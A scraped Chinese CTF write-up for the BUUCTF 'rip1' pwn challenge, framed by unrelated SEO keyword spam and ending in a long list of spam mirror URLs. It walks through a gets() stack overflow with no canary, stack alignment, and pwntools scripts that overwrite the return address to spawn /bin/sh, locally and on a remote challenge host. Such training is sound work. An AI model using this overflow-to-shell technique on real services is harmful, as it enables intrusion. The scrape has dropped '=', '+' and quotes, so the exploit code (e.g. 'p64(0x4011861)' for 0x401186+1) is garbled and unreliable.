建设直播网站需要哪些许可证,新闻早知道,深圳网站设计的公司,怎么营销自己的产品BUUCTF-rip1
一、题目来源
题目来自BUUCTF-Pwn-rip1#xff1a; 二、准备工作
你需要有#xff1a;
1、一台Linux主机/虚拟机#xff08;我这使用的是Ubuntu#xff09;
2、一个反编译工具#xff08;ida、Cutter等#xff09;
3、Linux主机/虚拟机中需要有python环…BUUCTF-rip1
一、题目来源
题目来自BUUCTF-Pwn-rip1 二、准备工作
你需要有
1、一台Linux主机/虚拟机我这使用的是Ubuntu
2、一个反编译工具ida、Cutter等
3、Linux主机/虚拟机中需要有python环境推荐python3、需要下载python库pwntools、需要有checksec工具非必须
如果你已经满足了上述要求接下来就可以开始优雅地分析题目了
三、文件分析
下载题目给的二进制文件pwn1丢到Ubuntu中
通过file指令查看文件的信息 发现他是一个ELF文件Linux系统中的一个二进制文件并且是64位的
通过checksec命令查看该文件有没有做什么保护 查看防护是为了判断后面是否可以有利用思路的所以建议有这一个步骤
四、反编译文件并分析代码
通过反编译工具选则64位的如果可以选的化如果用的是cutter那么64和32都是共用的因为我们分析出来是64位的文件反编译题目文件
操作手法就是将文件丢到工具里面
我们查看main函数我把main函数的汇编代码放下面
.text:0000000000401142 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000401142 public main
.text:0000000000401142 main proc near ; DATA XREF: _start1D↑o
.text:0000000000401142
.text:0000000000401142 s byte ptr -0Fh
.text:0000000000401142
.text:0000000000401142 ; __unwind {
.text:0000000000401142 push rbp
.text:0000000000401143 mov rbp, rsp
.text:0000000000401146 sub rsp, 10h
.text:000000000040114A lea rdi, s ; please input
.text:0000000000401151 call _puts
.text:0000000000401156 lea rax, [rbps]
.text:000000000040115A mov rdi, rax
.text:000000000040115D mov eax, 0
.text:0000000000401162 call _gets
.text:0000000000401167 lea rax, [rbps]
.text:000000000040116B mov rdi, rax ; s
.text:000000000040116E call _puts
.text:0000000000401173 lea rdi, aOkBye ; ok,bye!!!
.text:000000000040117A call _puts
.text:000000000040117F mov eax, 0
.text:0000000000401184 leave
.text:0000000000401185 retn
.text:0000000000401185 ; } // starts at 401142
.text:0000000000401185 main endp
一眼就可以看到gets这个危险函数那么gets为什么危险呢
因为get不会限制用户的输入长度就有可能出现缓冲区溢出的情况 缓冲区溢出是指程序向内存中已经分配好大小的缓冲区如数组、字符串中写入了超出其边界的数据导致覆盖了临近的内存区域进而引发程序崩溃或被攻击者控制 结合之前我们检查的保护措施
Stack: No canary found
也就是说明没有启用栈保护那么我们就可以使用栈溢出的思路
那么很明显我们就需要知道gets函数的参数即用户输入会放在内存的哪个位置
在x86_64的计算机中函数获得参数的方式是通过寄存器传参 在x86_32位的计算机中是通过“压栈”传参的 即当一个函数需要传入一个参数那么在调用这个函数之前会进行“压栈”操作压入的内容就是要传给该函数的参数 同样如果一个函数需要两个参数就会进行两次“压栈”操作 在x86_64位的计算机中是通过寄存器传参的 规则如下 参数顺序使用的寄存器第一个参数rdi第二个参数rsi第三个参数rdx第四个参数rcx第五个参数r8第六个参数r9 也就是说如果一个函数需要输入一个参数那么在调用该函数之前会对rdi寄存器进行赋值然后在调用到该函数的时候就会去rdi中取值 同样如果一个函数需要两个参数那么在调用该函数之前就会对rdi和rsi进行赋值 在汇编代码中相关的部分就是
.text:0000000000401142 s byte ptr -0Fh
.text:0000000000401156 lea rax, [rbps]
.text:000000000040115A mov rdi, rax
.text:000000000040115D mov eax, 0
.text:0000000000401162 call _gets
gets由于就一个参数就会从rdi寄存器中取值而rdi的值又来自于[rbps]这就是接受用户输入的地方
位置就是rbp-0xF即rbp-15B
画出此时栈的大致情况 写信息是从低地址向高地址写入的我们最终需要将数据溢出到“返回地址”的地方并且覆盖返回地址的部分是“有目的性的”
通过观察反编译出来的信息我们还可以找到一个函数fun其汇编代码如下
.text:0000000000401186 public fun
.text:0000000000401186 fun proc near
.text:0000000000401186 ; __unwind {
.text:0000000000401186 push rbp
.text:0000000000401187 mov rbp, rsp
.text:000000000040118A lea rdi, command ; /bin/sh
.text:0000000000401191 call _system
.text:0000000000401196 nop
.text:0000000000401197 pop rbp
.text:0000000000401198 retn
.text:0000000000401198 ; } // starts at 401186
.text:0000000000401198 fun endp
很明显这里就是getshell的地方因为用到了函数system
这段代码对应的c语言代码就是
system(/bin/sh);
简单来说就是如果我们调用到了fun函数就会返回给我们服务器的shell
那么确定了我们要将“返回地址”覆盖成0x0000000000401186可以简写成0x401186
五、构造Poc
1、尝试
根据上述分析我们的payload就是
payload bA*23 p64(0x401186)
#23 7 8 8
构造poc现在本地尝试记得先把pwn1加上可执行的权限sudo chmod x pwn1
from pwn import *
# 启动本地程序选中题目发你的可执行文件记得先给该文件一个可执行权限
p process(./pwn1)
# 接收提示启动本地程序后可能该程序会有些提示信息将他们输出
print(p.recvline())
# 构造payload
payload bA*23 p64(0x401186)
p.sendline(payload)
# 进入交互模式像nc一样交互
p.interactive()
运行 2、问题出现
出现SIGSEGV表示程序访问了非法地址例如
① 地址不存在空指针/越界
② 地址存在但无访问权限如栈溢出访问代码段
③ 对齐要求未满足导致指令访问异常
通过我们之前的分析栈无保护访问地址分析正确
就可以说明出现了“栈对齐”的问题 概念 栈对齐是指在函数调用或执行期间保持栈顶RSP寄存器满足特定字节对齐要求的一种约定 现代处理器尤其是x86_64架构在访问内存时如果内存地址是16字节对齐即地址能被16整除会提升 性能而且 某些指令如SSE、AVX对对齐是强制要求否则会触发段错误SIGSEGV 对齐规则以x86_64为例 根据System V AMD64 ABI一种规范规定 不要求在函数执行期间始终保持RSP % 16 0 但是在“函数入口处”栈顶必须是16字节对齐的RSP % 16 0 换言之在调用call函数之前需要先调整到RSP % 16 8的状态 啥是函数入口汇编代码的角度 就是第一条执行所在的地址还未执行第一条指令 先来简单回顾一下函数调用的过程汇编代码的角度 调用者会用CALL指令调用被调函数 这一步CPU会自动将“返回地址”压入栈中 然后被调函数在正式开始执行之前会进行保存调用者的“上下文”和“初始化栈帧”的操作 好结合上述过程描述我们来理解一下栈对齐规则 根据ABI的规定调用者在调用函数之前需要满足RSP % 16 8 如果调用者开始调用函数了即使用call指令 那么此时CPU会自动压入“返回地址”RSP也就相应的减去了8字节因为在64位的计算机 那么此时满足RSP % 16 0 此时就满足了 函数入口处栈顶必须是16字节对齐的RSP % 16 0 没有对齐会怎样 首先上面也讲到了“栈对齐”只是一种规定是为了兼容、稳定和性能设计的标准 所以你如果没有遵守程序也不一定会出现问题 但是程序一旦满足以下任意情况未对齐就会报错或崩溃 情况原因结果使用movaps、movdqa 等SSE指令这些指令要求内存地址必须16字节对齐否则CPU报错程序触发SIGSEGV崩溃glibc内部函数有对栈对齐的assert检查glibc某些函数运行前会检查RSP%160不满足就触发断言程序触发abort()强制退出编译器开启对齐优化如-O2 或以上编译器可能默认结构体/栈局部变量需要16字节对齐未对齐时行为不确定程序出现未定义行为UB可能崩溃 上面都是在64位系统的前提下的那么32位系统x86呢 会有栈对齐的情况但没有强制要求没有像ABI一样的规定 在32位系统中一般保持4字节对齐但只是是“推荐”不是必须绝大多数情况下即使未对齐也不会崩溃 但是也有特殊情况比如 如果编译开启了-msse比如用到了__m128、movaps那就会要求16字节对齐 如果你不手动对齐ESP用movaps 等就可能崩溃虽然是32 位 3、问题解决
我们在知道“栈对齐”的概念之后就可以想到对应的解决办法
刚刚的poc导致程序崩溃很可能的原因就是
当我们覆盖“返回地址”使之跳转到fun之前main的栈帧中RSP处于RSP%168的状态
那么由于不是通过call来调用函数的就不会存在“CPU”自动压入返回地址的操作
这也就意味着函数入口处RSP%168就违反了规定
但在笔记中我们也提到规定只是规定而已不是强制要求啊
但是请注意在仔细观察一下fun函数
.text:0000000000401186 public fun
.text:0000000000401186 fun proc near
.text:0000000000401186 ; __unwind {
.text:0000000000401186 push rbp
.text:0000000000401187 mov rbp, rsp
.text:000000000040118A lea rdi, command ; /bin/sh
.text:0000000000401191 call _system
.text:0000000000401196 nop
.text:0000000000401197 pop rbp
.text:0000000000401198 retn
.text:0000000000401198 ; } // starts at 401186
.text:0000000000401198 fun endp
其中有个调用_system函数对吧我们跟进查看双击就可以看到
.plt:0000000000401040 ; int system(const char *command)
.plt:0000000000401040 _system proc near ; CODE XREF: funB↓p
.plt:0000000000401040 jmp cs:off_404020
.plt:0000000000401040 _system endp
经验丰富的人可以看出这个程序采用的是动态链接为什么
一步步解析
首先是.plt段
它是动态链接的跳板表它不包含真正的函数实现而是一个“跳转中介”
那么链接的函数很明显就是system()
接下来根据跳转的目的地址off_404020就可以去查看对应的地址
.got.plt:0000000000404020 off_404020 dq offset system ; DATA XREF: _system↑r
先理解.got.plt是什么
.got.plt是存放每个外部动态链接函数地址的表格
那么此时的完整过程就是
在初次调用的system的时候由于.got.plt中没有该函数会动态链接libc从中将system的真实地址填入其中
所以system的具体实现细节我们在反编译出来的代码中是看不到的
这也就意味着system中可能存在强制要求“栈对齐”的函数导致了程序崩溃
那么不违反规定的方法就是直接进入函数的第二行命令
我们就利用了“栈对齐”只是检查函数的入口对函数执行的部分是不强制要求的
所以将我们的payload改成
payload bA*23 p64(0x4011861)
4、最后的Poc
本地测试
from pwn import *
# 启动本地程序选中题目发你的可执行文件记得先给该文件一个可执行权限
p process(./pwn1)
# 接收提示启动本地程序后可能该程序会有些提示信息将他们输出
print(p.recvline())
# 构造payload
payload bA*23 p64(0x4011861)
p.sendline(payload)# 进入交互模式像nc一样交互
p.interactive() 成功拿下本地shell 那么我们就可以去远程利用了
开启靶机 远程Poc
from pwn import *
# 访问远程服务器上运行的某个程序
p remote(node5.buuoj.cn, 29750)
# 构造payload
payload bA*23 p64(0x4011861)
p.sendline(payload)
# 进入交互模式像nc一样交互
p.interactive()
运行 成功拿下对方shell接下来查看flag文件就可以看到答案了 文章转载自: http://www.morning.zqnmp.cn.gov.cn.zqnmp.cn http://www.morning.zlsmx.cn.gov.cn.zlsmx.cn http://www.morning.cthrb.cn.gov.cn.cthrb.cn http://www.morning.stsnf.cn.gov.cn.stsnf.cn http://www.morning.rqgq.cn.gov.cn.rqgq.cn http://www.morning.wfbnp.cn.gov.cn.wfbnp.cn http://www.morning.kbfzp.cn.gov.cn.kbfzp.cn http://www.morning.grwgw.cn.gov.cn.grwgw.cn http://www.morning.clbgy.cn.gov.cn.clbgy.cn http://www.morning.jljiangyan.com.gov.cn.jljiangyan.com http://www.morning.lcplz.cn.gov.cn.lcplz.cn http://www.morning.tbnn.cn.gov.cn.tbnn.cn http://www.morning.jxfsm.cn.gov.cn.jxfsm.cn http://www.morning.pbygt.cn.gov.cn.pbygt.cn http://www.morning.ykwqz.cn.gov.cn.ykwqz.cn http://www.morning.dkqr.cn.gov.cn.dkqr.cn http://www.morning.vvbsxm.cn.gov.cn.vvbsxm.cn http://www.morning.gidmag.com.gov.cn.gidmag.com http://www.morning.jcyyh.cn.gov.cn.jcyyh.cn http://www.morning.qnywy.cn.gov.cn.qnywy.cn http://www.morning.zgdnz.cn.gov.cn.zgdnz.cn http://www.morning.spghj.cn.gov.cn.spghj.cn http://www.morning.npfrj.cn.gov.cn.npfrj.cn http://www.morning.rtsd.cn.gov.cn.rtsd.cn http://www.morning.fgxr.cn.gov.cn.fgxr.cn http://www.morning.jwgmx.cn.gov.cn.jwgmx.cn http://www.morning.cfrz.cn.gov.cn.cfrz.cn http://www.morning.lxfqc.cn.gov.cn.lxfqc.cn http://www.morning.kpxnz.cn.gov.cn.kpxnz.cn http://www.morning.lwnwl.cn.gov.cn.lwnwl.cn http://www.morning.dyzbt.cn.gov.cn.dyzbt.cn http://www.morning.kwqwp.cn.gov.cn.kwqwp.cn http://www.morning.kjtdy.cn.gov.cn.kjtdy.cn http://www.morning.nrftd.cn.gov.cn.nrftd.cn http://www.morning.tztgq.cn.gov.cn.tztgq.cn http://www.morning.rbtny.cn.gov.cn.rbtny.cn http://www.morning.xq3nk42mvv.cn.gov.cn.xq3nk42mvv.cn http://www.morning.srndk.cn.gov.cn.srndk.cn http://www.morning.kyytt.cn.gov.cn.kyytt.cn http://www.morning.mrbzq.cn.gov.cn.mrbzq.cn http://www.morning.xiaobaixinyong.cn.gov.cn.xiaobaixinyong.cn http://www.morning.qsyyp.cn.gov.cn.qsyyp.cn http://www.morning.rxnxl.cn.gov.cn.rxnxl.cn http://www.morning.pbbzn.cn.gov.cn.pbbzn.cn http://www.morning.pxwzk.cn.gov.cn.pxwzk.cn http://www.morning.xhrws.cn.gov.cn.xhrws.cn http://www.morning.qrgfw.cn.gov.cn.qrgfw.cn http://www.morning.tqbyw.cn.gov.cn.tqbyw.cn http://www.morning.qrlkt.cn.gov.cn.qrlkt.cn http://www.morning.rwxnn.cn.gov.cn.rwxnn.cn http://www.morning.nhdmh.cn.gov.cn.nhdmh.cn http://www.morning.gwmny.cn.gov.cn.gwmny.cn http://www.morning.fhddr.cn.gov.cn.fhddr.cn http://www.morning.jqrp.cn.gov.cn.jqrp.cn http://www.morning.gjcdr.cn.gov.cn.gjcdr.cn http://www.morning.kfstq.cn.gov.cn.kfstq.cn http://www.morning.pjwrl.cn.gov.cn.pjwrl.cn http://www.morning.rrxmm.cn.gov.cn.rrxmm.cn http://www.morning.ujianji.com.gov.cn.ujianji.com http://www.morning.youprogrammer.cn.gov.cn.youprogrammer.cn http://www.morning.lpmjr.cn.gov.cn.lpmjr.cn http://www.morning.pzjfz.cn.gov.cn.pzjfz.cn http://www.morning.qrlkt.cn.gov.cn.qrlkt.cn http://www.morning.jzlfq.cn.gov.cn.jzlfq.cn http://www.morning.lpskm.cn.gov.cn.lpskm.cn http://www.morning.ndtmz.cn.gov.cn.ndtmz.cn http://www.morning.mnpdy.cn.gov.cn.mnpdy.cn http://www.morning.gwhjy.cn.gov.cn.gwhjy.cn http://www.morning.sqqds.cn.gov.cn.sqqds.cn http://www.morning.wjpsn.cn.gov.cn.wjpsn.cn http://www.morning.zshuhd015.cn.gov.cn.zshuhd015.cn http://www.morning.hqwxm.cn.gov.cn.hqwxm.cn http://www.morning.dmjhp.cn.gov.cn.dmjhp.cn http://www.morning.dlurfdo.cn.gov.cn.dlurfdo.cn http://www.morning.ftrpvh.cn.gov.cn.ftrpvh.cn http://www.morning.qkqhr.cn.gov.cn.qkqhr.cn http://www.morning.lbggk.cn.gov.cn.lbggk.cn http://www.morning.phtqr.cn.gov.cn.phtqr.cn http://www.morning.ylzdx.cn.gov.cn.ylzdx.cn http://www.morning.bnlkc.cn.gov.cn.bnlkc.cn